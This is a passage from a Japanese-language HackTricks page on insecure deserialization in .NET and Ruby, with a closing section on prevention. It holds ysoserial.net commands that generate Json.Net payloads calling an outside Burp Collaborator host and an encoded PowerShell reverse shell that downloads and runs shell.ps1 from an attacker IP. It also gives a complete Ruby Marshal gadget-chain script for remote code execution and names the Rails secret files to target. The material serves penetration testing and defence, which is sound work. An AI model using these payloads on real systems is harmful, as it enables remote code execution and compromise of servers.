ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.netには、各エクスプロイトの動作をより理解するのに役立つ非常に興味深いパラメーターがあります: --test
このパラメーターを指定すると、ysoserial.netはローカルでエクスプロイトを試み、ペイロードが正しく動作するかどうかをテストすることができます。
このパラメーターは便利です。なぜなら、コードを確認すると、次のようなコードの断片が見つかるからです(ObjectDataProviderGenerator.csから):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
これは、エクスプロイトをテストするために、コードがserializersHelper.JsonNet_deserializeを呼び出すことを意味します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
前のコードは作成されたエクスプロイトに対して脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、おそらくそのアプリケーションも脆弱です。
したがって、--test
パラメータを使用すると、ysoserial.netが作成できるシリアライゼーションのエクスプロイトに対してどのコードのチャンクが脆弱かを理解することができます。
ViewState
.Netの__ViewStateパラメータをエクスプロイトしようとする方法についてのこのPOSTを見て、任意のコードを実行してみてください。もし被害者マシンが使用している秘密をすでに知っている場合は、このポストを読んでコードを実行する方法を知ってください**。**
予防方法
データストリームがストリームがデシリアライズされるオブジェクトの型を定義することを許可しないでください。可能であれば、DataContractSerializer
またはXmlSerializer
を使用することでこれを防ぐことができます。
JSON.Net
を使用している場合は、TypeNameHandling
がNone
に設定されていることを確認してください。
TypeNameHandling = TypeNameHandling.None
JavaScriptSerializer
を使用する場合は、JavaScriptTypeResolver
と一緒に使用しないでください。
自分自身の型を定義するデータストリームを逆シリアル化する必要がある場合は、逆シリアル化が許可される型を制限してください。ただし、これは依然としてリスクがあることに注意する必要があります。なぜなら、多くのネイティブの .Net 型がそれ自体で潜在的に危険である可能性があるからです。例えば、
System.IO.FileInfo
FileInfo
オブジェクトは、サーバー上の実際のファイルを参照している場合、逆シリアル化されると、それらのファイルのプロパティ(例:読み取り専用)を変更することができ、潜在的なサービス拒否攻撃を引き起こす可能性があります。
逆シリアル化できるタイプを制限している場合でも、いくつかのタイプにはリスクのあるプロパティがあります。たとえば、System.ComponentModel.DataAnnotations.ValidationException
には、Object
型のValue
プロパティがあります。このタイプが逆シリアル化に許可されている場合、攻撃者はValue
プロパティを任意のオブジェクト型に設定できます。
攻撃者がインスタンス化されるタイプを操作できないようにする必要があります。これが可能な場合、DataContractSerializer
やXmlSerializer
も乗っ取られる可能性があります。
// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();
var serializer = new DataContractJsonSerializer(Type.GetType(typename));
var obj = serializer.ReadObject(ms);
特定の .Net タイプのデシリアライズ中に実行が発生する可能性があります。以下に示すような制御を作成しても効果はありません。
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);
//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
//generate warnings and dispose of suspectObject
}
BinaryFormatter
とJSON.Net
では、カスタムのSerializationBinder
を使用して、より安全なホワイトリスト制御の形式を作成することが可能です。
既知の.Netの脆弱な逆シリアル化ガジェットについて最新情報を把握し、逆シリアル化プロセスでそのような型が作成される可能性がある場所に特に注意を払いましょう。デシリアライザは、自身が知っている型のみをインスタンス化することができます。
潜在的なガジェットを作成する可能性のあるコードを、インターネットに接続するコードから分離するようにしましょう。例えば、WPFアプリケーションで使用されるSystem.Windows.Data.ObjectDataProvider
は、任意のメソッド呼び出しを許可する既知のガジェットです。これを信頼できないデータを逆シリアル化するRESTサービスプロジェクトの参照に含めることはリスクが高いです。
参考文献
- Javaと.NetのJSON逆シリアル化に関する論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, 発表: https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Rubyには、marshalライブラリ内でシリアル化を実装するための2つのメソッドがあります。最初のメソッドはオブジェクトをバイトストリームに変換するdumpです(シリアライズ)。そして、2番目のメソッドはバイトストリームをオブジェクトに再変換するためのloadです(デシリアライズ)。 Rubyは、シリアル化されたオブジェクトにHMACを使用して署名し、キーを以下のいずれかのファイルに保存します:
- config/environment.rb
- config/initializers/secret_token.rb
- config/secrets.yml
- /proc/self/environ
Ruby 2.Xの一般的な逆シリアル化からRCEガジェットチェーン(詳細はhttps://www.elttam.com/blog/ruby-deserialization/を参照):
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
他のRCEチェーンはRuby On Railsを悪用します:https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterで私をフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。